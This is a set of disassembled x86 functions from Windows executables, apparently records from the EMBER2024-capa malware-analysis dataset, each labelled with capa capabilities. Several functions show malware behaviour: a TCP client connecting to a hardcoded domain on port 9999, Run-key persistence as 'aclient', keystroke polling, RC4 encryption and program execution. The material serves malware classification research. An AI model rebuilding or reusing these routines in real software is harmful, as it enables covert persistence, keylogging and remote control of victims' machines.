joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x40b8b0], eax
cmp eax, 0xffffffff
jne 0x40102d
xor al, al
jmp 0x4010e2
and dword [ebp - 0x18], 0
push str.s.1kk.info
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401026
cmp word [eax + 8], 2
jne 0x40105d
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x18]
push eax
call fcn.00405710
add esp, 0xc
push 2
pop eax
push 0x270f
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [0x40b8b0]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40109e
push dword [0x40b8b0]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x401026
push esi
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
push edi
mov eax, 0x7530
push 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
push 0x1005
mov edi, 0xffff
push edi
push dword [0x40b8b0]
call esi
push 4
lea eax, [ebp - 0x20]
push eax
push 0x1006
push edi
push dword [0x40b8b0]
call esi
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004019c7
leave
ret

Function at 0x4010ee
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
push 5
mov dword [ebp - 0x408], eax
mov eax, dword [ebp + 0xc]
pop edi
push edi
mov dword [ebp - 0x410], eax
call fcn.00401ded
mov ebx, dword [sym.imp.WS2_32.dll_recv]
pop ecx
mov dword [esi], eax
push 0
push edi
lea eax, [ebp - 0x404]
push eax
push dword [0x40b8b0]
call ebx
mov dword [ebp - 0x40c], eax
cmp eax, 1
jl 0x401195
push eax
lea eax, [ebp - 0x404]
push eax
mov eax, dword [esi]
sub eax, edi
add eax, 5
push eax
call fcn.00405710
add esp, 0xc
sub edi, dword [ebp - 0x40c]
jne 0x401127
mov eax, dword [esi]
mov al, byte [eax]
mov ecx, dword [ebp - 0x408]
and dword [ebp - 0x408], 0
mov byte [ecx], al
mov eax, dword [esi]
mov edi, dword [eax + 1]
push eax
call fcn.00401e81
lea eax, [edi + 1]
push eax
call fcn.00401ded
pop ecx
pop ecx
mov dword [esi], eax
test edi, edi
je 0x4011f5
jmp 0x4011cd
xor al, al
jmp 0x401205
push dword [ebp - 0x40c]
lea eax, [ebp - 0x404]
push eax
mov eax, dword [esi]
add eax, dword [ebp - 0x408]
push eax
call fcn.00405710
mov eax, dword [ebp - 0x408]
add eax, dword [ebp - 0x40c]
add esp, 0xc
mov dword [ebp - 0x408], eax
cmp eax, edi
jge 0x4011ed
push 0
push 0x400
lea eax, [ebp - 0x404]
push eax
push dword [0x40b8b0]
call ebx
mov dword [ebp - 0x40c], eax
test eax, eax
jg 0x401199
cmp dword [ebp - 0x408], edi
jne 0x401195
mov eax, dword [esi]
mov byte [edi + eax], 0
mov eax, dword [ebp - 0x410]
mov dword [eax], edi
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004019c7
leave
ret
Function at 0x40146b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x410], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x18]
push ebx
push esi
mov dword [ebp - 0x418], eax
mov eax, dword [ebp + 0x1c]
xor esi, esi
mov dword [ebp - 0x40c], eax
push esi
jmp 0x401638
mov eax, dword [edi]
lea eax, [eax + ebx + 1]
push eax
mov eax, dword [ebp - 0x410]
push dword [eax]
call fcn.00401efb
mov ecx, dword [ebp - 0x410]
mov dword [ecx], eax
push ebx
lea ecx, [ebp - 0x404]
push ecx
mov ecx, dword [edi]
add ecx, eax
push ecx
call fcn.00405710
add dword [edi], ebx
mov eax, dword [ebp - 0x410]
mov ecx, dword [edi]
mov edx, dword [eax]
mov byte [ecx + edx], 0
mov ecx, dword [ebp - 0x414]
add esp, 0x14
cmp dword [ecx], 0
mov byte [ebp - 0x405], 0
jne 0x401599
push dword [ebp - 0x418]
push dword [ebp - 0x420]
push ecx
call fcn.00401659
mov eax, dword [ebp - 0x418]
add esp, 0xc
cmp dword [eax], 0
je 0x401581
mov eax, dword [ebp - 0x414]
mov esi, dword [edi]
sub esi, dword [eax]
sub esi, 4
lea eax, [esi + 1]
push eax
call fcn.00401ded
pop ecx
mov ecx, dword [ebp - 0x40c]
mov dword [ecx], eax
test esi, esi
je 0x40156e
mov ecx, dword [ebp - 0x410]
mov edx, dword [ebp - 0x414]
mov ecx, dword [ecx]
mov edx, dword [edx]
push esi
lea ecx, [ecx + edx + 4]
push ecx
push eax
call fcn.00405710
add esp, 0xc
mov eax, dword [ebp - 0x40c]
mov eax, dword [eax]
mov byte [esi + eax], 0
mov byte [ebp - 0x405], 1
mov eax, dword [ebp - 0x414]
cmp dword [eax], 0
je 0x401636
cmp byte [ebp - 0x405], 0
jne 0x4015de
lea eax, [ebx + esi]
mov dword [ebp - 0x41c], eax
inc eax
push eax
mov eax, dword [ebp - 0x40c]
push dword [eax]
call fcn.00401efb
mov ecx, dword [ebp - 0x40c]
mov dword [ecx], eax
push ebx
lea ecx, [ebp - 0x404]
push ecx
add eax, esi
push eax
call fcn.00405710
mov eax, dword [ebp - 0x40c]
mov esi, dword [ebp - 0x41c]
mov eax, dword [eax]
add esp, 0x14
mov byte [esi + eax], 0
mov ecx, dword [ebp - 0x418]
mov eax, dword [ecx]
cmp eax, 0xffffffff
jne 0x401632
mov edx, dword [ebp - 0x410]
mov eax, dword [edi]
mov edx, dword [edx]
add eax, edx
cmp byte [eax - 5], 0x30
jne 0x401636
cmp byte [eax - 4], 0xd
jne 0x401636
cmp byte [eax - 3], 0xa
jne 0x401636
cmp byte [eax - 2], 0xd
jne 0x401636
cmp byte [eax - 1], 0xa
jne 0x401636
push ecx
mov ecx, dword [ebp - 0x40c]
call fcn.00401759
pop ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.004019c7
leave
ret
cmp eax, esi
jle 0x401622
push 0
push 0x400
lea eax, [ebp - 0x404]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test ebx, ebx
jg 0x4014b5
jmp 0x401622
Function at 0x401832
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4018c7
push esi
call fcn.00401ded
pop ecx
mov esi, eax
lea eax, [ebp - 0x214]
push eax
push esi
push 0
push 0
push str.aclient
push dword [ebp - 0x210]
mov dword [ebp - 0x214], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4018cd
mov ecx, dword [ebp - 0x214]
mov word [esi + ecx*2 - 2], ax
push dword [ebp - 0x210]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4018c9
xor esi, esi
test esi, esi
jne 0x4018da
lea eax, [ebp - 0x20c]
push eax
call fcn.004018e7
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004019c7
leave
ret

Function at 0x4018e7
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
xor esi, esi
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push connect
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x401950
mov eax, dword [ebp + 8]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401921
sub eax, edx
sar eax, 1
add eax, eax
push eax
push dword [ebp + 8]
push 1
push esi
push str.aclient
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x4019c7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x4019d1
repz ret
jmp fcn.004024e2
Function at 0x405b50
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040330c
and dword [ebp - 0x14], 0
cmp dword [0x40b89c], 0
mov dword [ebp - 0x18], eax
jne 0x405c03
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405cab
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405cab
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b89c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b8a0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b8a4], eax
call edi
push eax
call esi
mov dword [0x40b8ac], eax
test eax, eax
je 0x405c03
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b8a8], eax
mov eax, dword [0x40b8a8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405c5c
cmp dword [0x40b8ac], ecx
je 0x405c5c
push eax
call esi
push dword [0x40b8ac]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405c5c
test ebx, ebx
je 0x405c5c
call edi
test eax, eax
je 0x405c53
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405c53
test byte [ebp - 8], 1
jne 0x405c5c
or dword [ebp + 0x10], 0x200000
jmp 0x405c8f
mov eax, dword [0x40b8a0]
cmp eax, dword [ebp - 0x18]
je 0x405c8f
push eax
call esi
test eax, eax
je 0x405c8f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405c8f
mov eax, dword [0x40b8a4]
cmp eax, dword [ebp - 0x18]
je 0x405c8f
push eax
call esi
test eax, eax
je 0x405c8f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b89c]
call esi
test eax, eax
je 0x405cab
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405cad
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004019c7
leave
ret
Function at 0x4012b0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00401fb0
call sym.___main
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x4012e8
jmp 0x401386
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x4012e7
cmp cl, 0x22
je 0x401340
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401360
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401360
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401320
jmp 0x401360
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401340
cmp cl, 0x22
je 0x4013c2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401380
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401370
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x4013a4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401360

Function at 0x401740
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebp - 4], esi
add eax, 0x20
mov dword [esp], eax
call sym._fclose
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fclose
mov eax, dword [0x405040]
test eax, eax
je 0x401787
cmp byte [0x405050], 0
jne 0x4017d5
cmp byte [0x405160], 0
jne 0x401791
mov ebx, dword [ebp - 8]
mov esi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov dword [esp], 0x405160
mov eax, 0x40402d
mov dword [esp + 4], eax
call sym._fopen
test eax, eax
mov ebx, eax
je 0x401787
mov dword [esp], eax
call sym._fgetc
mov dword [esp], ebx
inc eax
sete al
movzx esi, al
call sym._fclose
test esi, esi
je 0x401787
mov dword [esp], 0x405160
call sym._remove
jmp 0x401787
mov dword [esp], 0x405050
mov eax, 0x40402d
mov dword [esp + 4], eax
call sym._fopen
test eax, eax
mov ebx, eax
je 0x40177e
mov dword [esp], eax
call sym._fgetc
mov dword [esp], ebx
inc eax
sete al
movzx esi, al
call sym._fclose
test esi, esi
je 0x40177e
mov dword [esp], 0x405050
call sym._remove
jmp 0x40177e

Function at 0x402260
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x4092a0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x468d4b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045d5b0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409322
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045b35d
mov eax, dword [eax]
push 0x4861d0
push eax
call fcn.0044d7e4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045d83b
test bl, bl
je 0x409322
push 0x4861d0
lea ecx, [esp + 0xc]
call fcn.0045dbcb
push 0x489d44
lea ecx, [esp + 0xc]
call fcn.0045dbcb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40935e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045d83b
jmp 0x409429
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4093e2
lea edx, [esp + 0x7c]
push 0x489d40
push edx
call fcn.0044d7e4
add esp, 8
test eax, eax
je 0x4093e2
lea eax, [esp + 0x7c]
push 0x489d3c
push eax
call fcn.0044d7e4
add esp, 8
test eax, eax
je 0x4093e2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409372
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045d83b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x409c20
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409c82
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409c90
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x468dcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4906b8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409dc8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409cf6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d83b
xor eax, eax
jmp 0x409e3f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045d978
push esi
lea ecx, [esp + 0xc]
call fcn.0045dc07
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x409e1d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00409c20
test eax, eax
jne 0x409e1d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00409c20
test eax, eax
jne 0x409e1d
lea eax, [esp + 0x14]
push 0x489d58
push eax
call fcn.0044e820
mov esi, eax
add esp, 8
test esi, esi
jne 0x409dfc
lea ecx, [esp + 0x14]
push 0x489d54
push ecx
call fcn.0044e7a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x409dfc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x409dff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045d928
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x409d0e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045d83b
xor eax, eax
jmp 0x409e3f
mov byte [esi], 0
push 0x489d50
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045d83b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a3b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a41e
cmp si, 0x69
ja 0x41a41e
add esi, 0xffd0
cmp si, 0x11
je 0x41a3ee
push 0x11
call edi
test ax, ax
jge 0x41a3ee
or esi, 0x2000
cmp si, 0x10
je 0x41a403
push 0x10
call edi
test ax, ax
jge 0x41a403
or esi, 0x4000
cmp si, 0x12
je 0x41a418
push 0x12
call edi
test ax, ax
jge 0x41a418
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a42b
mov esi, 0xbd
jmp 0x41a3df
cmp si, 0x6e
jne 0x41a438
mov esi, 0xbe
jmp 0x41a3df
cmp si, 0x6f
jne 0x41a3d9
mov esi, 0xbf
jmp 0x41a3df

Function at 0x41ba90
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a0da8]
xor edx, edx
cmp eax, edx
jne 0x41bab6
xor eax, eax
mov byte [eax + 0x4a0ca8], al
inc eax
cmp eax, 0x100
jl 0x41ba9e
mov dword [0x4a0da8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a0ca8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bb47
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41bb1a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bae8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bbc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bc13
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bbfa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422650
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x4227e8
cmp ebp, ebx
jle 0x4227e8
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4226ae
dec eax
or eax, 0xfffffff8
inc eax
je 0x4226b5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x4226c4
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x4226cb
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0045d57c
add esp, 4
cmp eax, ebx
je 0x4226ec
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0045d57c
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x4227de
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x4227c5
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4227b1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4227a6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4227b4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4227b4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x422750
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x422741
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret